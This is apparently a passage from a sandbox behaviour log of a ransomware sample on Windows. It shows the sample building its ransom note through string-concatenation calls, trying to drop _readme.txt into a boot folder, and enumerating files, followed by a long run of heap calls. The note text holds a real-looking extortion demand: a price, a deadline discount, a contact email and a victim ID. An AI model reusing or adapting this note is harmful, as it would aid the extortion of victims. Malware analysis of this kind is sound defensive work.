information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.238] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.238] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.238] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.238] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.238] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.238] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.238] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.238] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.238] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.238] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.238] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.238] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.238] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.238] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.238] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.238] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.238] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.238] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.238] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.239] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.240] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.240] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.242] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.242] RtlAllocateHeap 